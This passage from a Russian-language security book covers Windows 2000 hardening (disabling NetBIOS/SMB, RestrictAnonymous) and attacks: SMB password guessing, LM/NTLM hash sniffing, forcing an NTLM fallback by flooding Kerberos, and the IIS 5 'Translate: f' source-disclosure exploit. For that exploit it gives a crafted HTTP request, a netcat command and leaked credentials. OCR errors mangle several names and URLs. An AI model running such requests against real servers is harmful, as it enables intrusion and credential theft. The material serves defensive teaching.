              Одним из наиболее существенных новшеств Windows 2000 является возможность обойтись без протокола NetBIOS. Как было показано в главе 3, службу NetBIOS, работающую поверх протокола TCP/IP, можно отключить с помощью команды Properties of Network&Dial-up Connection^Properties of Internet Protocol (TCP/IP)c*Advanced(KHonKa)[=> WINS(BKnaflKa)=>Disable NetBIOS Over TCP/IP.
              Однако не все так просто. Следует отметить, что, несмотря на отключение транспортного протокола NetBIOS, Windows 2000 при этом продолжает использовать протокол SMB поверх TCP (порт 445) для совместного использования файлов (см. табл. 6.1).
              Таким образом, компания Microsoft сыграла злую шутку с неопытными пользователями, которые, отключив службу NetBIOS поверх TCP/IP (с помощью вкладки WINS диалогового окна свойств соединения для локальной сети) будут считать, что все проблемы с нулевым сеансом решены. На самом деле это не так. Такое отключение закрывает лишь порт TCP 139, но не 445. На первый взгляд может показаться, что этого достаточно для решения проблем с нулевым сеансом, поскольку злоумышленники, не установившие сервисный пакет Service Pack 6a, не могут подключиться через порт 445 и открыть нулевой сеанс. Однако клиентам Windows 2000 и пользователям более ранней операционной системы с сервисным пакетом Service Pack 6a такая возможность доступна. Следовательно, они могут выполнять инвентаризацию, использовать команды user2sid/sid2user и выполнять другие опасные действия, подробно описанные в главе 3. Поэтому не следует заблуждаться по поводу наличия новых команд в интерфейсе и терять бдительность.

              Отключение служб NetBIOS/SMB в Windows 2000



              К счастью, можно отключить и порт 445, однако эта операция выполняется отдельно для каждого конкретного адаптера (подобно операции отключения порта 139 в NT 4). При этом сначала необходимо найти соответствующую вкладку (возможно, она переместилась в новое, никому неизвестное местоположение — еще один недостаток графического интерфейса). Теперь ее можно открыть с помощью аплета Network and Dial-up Connections, выбрав команду Advanced>Advanced Settings, как показано на следующем рисунке.
              При сбросе флажка File and Printer Sharing for Microsoft Networks (рис. 6.1) доступ к портам 139 и 445 через нулевое соединение будет отключен (а за одно будет отключена и возможность совместного использования файлов и принтеров). Для вступления в действие этих изменений перезагрузка не требуется (компанию Microsoft следует поблагодарить за полученную наконец возможность установки многих сетевых параметров без перезагрузки компьютера). Это по-прежнему наилучший способ конфигурирования внешних интерфейсов сервера, соединенного с Internet.



              Рис. 6.1. Отключение служб NetBIOS и SMB/CIFS, обеспечивающих совместное использование файлов и принтеров, в диалоговом окне Advanced Settings аплета Network and Dial-up Connections

              Порт TCP 139 будет отображаться в результате Сканирования портов даже после выполнения указанных действий. Однако этот порт больше не будет предоставлять информацию, связанную со службой NetBIOS. Если вы не отключаете протоколы NetBIOS/SMB, не забывайте установить значение параметра RestrictAnonymous. Теперь это можно сделать с помощью команды Administrative Tools>Local Security Policy (или Domain или Domain Controller>Local Policies>Security Options>No Access Without Explicit Anonymous Permissions. Эта команда эквивалентна установке в системном реестре Windows 2000 значения 2 для параметра RestictAnonymous. Некоторые возможные проблемы, связанные с установкой значения 2 для параметра RestictAnonymous описаны в базе знаний Knowledge Base по адресу http://eearch.support.micro8oft.com. (статья Q246261).

              Не забывайте, что ограничить доступ к данным протокола NetBIOS или SMB можно также с помощью фильтров IPSec.


              1.gif

              Изображение: 

              5. Проникновение



              Проникновение


              Как будет видно из дальнейшего изложения, новая версия операционной системы Windows 2000 подвержена всем тем же типам удаленных атак, что и NT 4.


              6. Получение пароля NetBIOS или SMB



              Получение пароля NetBIOS или SMB


              Средства, подобные описанной в главе 5 утилите SMBGrind, пригодны также для получения паролей в системе Windows 2000. Если службы NetBIOS и SMB/CIFS включены, и клиент может использовать SMB-запросы, то пароли доступа к совместно используемым ресурсам являются самым уязвимым местом системы Windows 2000.

              Один из участников группы разработки серверного и клиентского программного обеспечения Samba (http://eamba.org) Люк Лейтон (Luke Leighton) неоднократно подчеркивал различие между NetBIOS и SMB. NetBIOS — это транспортный протокол, а 8MB — протокол совместного использования файлов, связанный с поддерживаемыми протоколом NBT (NetBIOS поверх TCP) именами типа ИМЯ_СЕРВЕРА#20. Подобно любому серверу общего назначения, такие серверы обмениваются информацией через порт TCP. Таким образом, протокол SMB взаимодействует с портом TCP 445 и не имеет ничего общего с NetBIOS.


              7. Получение хэш-кодов паролей



              Получение хэш-кодов паролей


              Утилита перехвата пакетов SMB L0phtcrack, описанная в главе 5, по прежнему может эффективно перехватывать и взламывать хэш-коды диспетчера локальной сети LM и NTLM, передаваемые между клиентами нижнего уровня (NT 4 и Win9x) и сервером Windows 2000. Новая процедура регистрации по протоколу Kerberos предусматривает выполнение идентификации средствами NTLM, если на одном из концов соединения протокол Kerberos не поддерживается, что и происходит между клиентом Windows 2000 и сервером NT 4 или Win9x
              Интересным видом атаки для Windows 2000 яачяется попытка отключения протокола идентификации Kerberos (например, "парализуя" пакетом SYN порт TCP 88 контроллера домена, используемый протоколом Kerberos) с целью вынудить клиентов использовать процедуры аутентификации для NT 4, уязвимые для перехвата пакетов SMB.


              8. Атаки против IIS 5



              Атаки против IIS 5



              По возрастающей популярности с атаками на протоколы NetBIOS или 8MB могут сравниться лишь многочисленные методологии атак на US (Internet Information Server), поскольку это единственная служба, обязательно присутствующая в подключенных к Internet системах под управлением NT/2000. Эта служба встроена в операционные системы семейства Windows 2000. По умолчанию сервер IIS 5.0 и службы Web доступны во всех серверных версиях. И хотя вопросы, связанные с хакингом в Web, будут более подробно рассмотрены в главе 15, мы не можем обойти своим вниманием атаку на Internet Information Server, широко обсуждаемую компьютерной общественностью перед самым выходом в свет этой книги.

              Проблема US "Translate: f"



              Проблема, связанная со вскрытием кода (showcode) не нова: она была свойственна и более ранним версиям Internet Information Server. Она получила название Translate: f и была описана Даниелем Дочкалом (Daniel Docekal) в бюллетене Bugtraq. Эта проблема является хорошим примером ситуации, когда взломщик направляет Web-серверу неожиданные данные и тем самым заставляет его выполнять неприемлемые в обычных условиях действия. Это классический вид атаки против протоколов обработки документов типа HTTP.
              Атака Translate: f состоит в отправке искаженного запроса GET протокола HTTP на выполнение серверного сценария или обработку другого файла аналогичного типа (например, файлов с расширением .ASP (Active Server Pages) или global.asa). Эти файлы предназначены для выполнения на сервере, а не на клиентском компьютере. Видоизменение запроса приводит к тому, что Internet Information Server направляет содержимое файла удаленному клиенту, а не выполняет его с использованием соответствующего механизма обработки сценариев. Ключевым свойством искаженного запроса GET для протокола HTTP является наличие специального заголовка, завершающегося выражением Translate: f, и использование адреса URL, завершающегося символом обратной косой \. Ниже приводится пример такого запроса (строка [CRLF] означает символ возврата каретки/перевода строки, который в шестнадцатеричной системе счисления имеет код ODOA). Обратите внимание на обратную косую после имени файла global .asa и заголовок Translate: f.

              GET/global.asa\ HTTP/1.0
              Host: 192.168.20.10
              User-Agent: SensePostData
              Content-Type: application/x-www-form-urlencoded
              Translate: f
              [CRLF]
              [CRLF]

              Если путем конвейерной обработки текстовый файл с этой информацией направить (с помощью утилиты netcat) на уязвимый сервер IIS, то в командной строке отобразится содержимое файла /global, as a:

              D:\type trans.txtI nc -nw 192.168.234.41 80
              (UNKNOWN) [192.168.234.41] 80 (?) open
              HTTP/1.1 200 OK
              Server: Microsoft-IIS/5.0
              Date: Wed, 23 Aug 2000 06:06:58 GMT
              Content-Type: application/octet-stream
              Content-Length: 2790
              Etag: "0448299fcd6bf1:bea"
              Last-Modified: Thu, 15 Jun 2000 19:04:30 GMT
              Accept-Ranges: bytes
              Cache-Control: no-cache
              <!-Copyright 1999-2000 bigCompany.com—>
              <object RUNAT=Server SCOPE=Session ID=fixit
              PROGID="Bigco.object"x/object>
              ("ConnectionText") = "
              DSN=Phone;UID=superman;Password=test;"
              ("ConnectionText") = "
              DSN=Backend;UID=superman;PWD=test;"
              ("LDAPServer") = "LDAP://Idap.bigco.com:389"
              ("LDAPUserlD") = "cn=Admin"
              ("LDAPPwd") = "password"

              Мы слегка модифицировали содержимое файла global.asa, чтобы продемонстрировать наиболее характерную информацию, которую может извлечь из него взлом-шик. К сожалению, на многие узлах до сих пор встраивают пароли приложений в ASP и ASA-файлы, повышая тем самым вероятность последующего проникновения хакеров в свои пенаты. Как видно из этого примера, взломщик, вскрывший содержимое файла global.asa, получает в свое распоряжение пароли многих серверов нижнего уровня, включая систему LDAP.
              Готовые сценарии взлома на языке Perl, упрощающие описанную выше процедуру использования команды netcat, можно найти в Internet (авторы этой книги пользовались сценариями tarans.pl Ройлофа Темминга (Roelof Temmingh) и srcgrab.pl Смайлера (Smiler)).

              Корни проблемы Translate: f - протокол WebDAV и канонизация



              При первом выявлении этой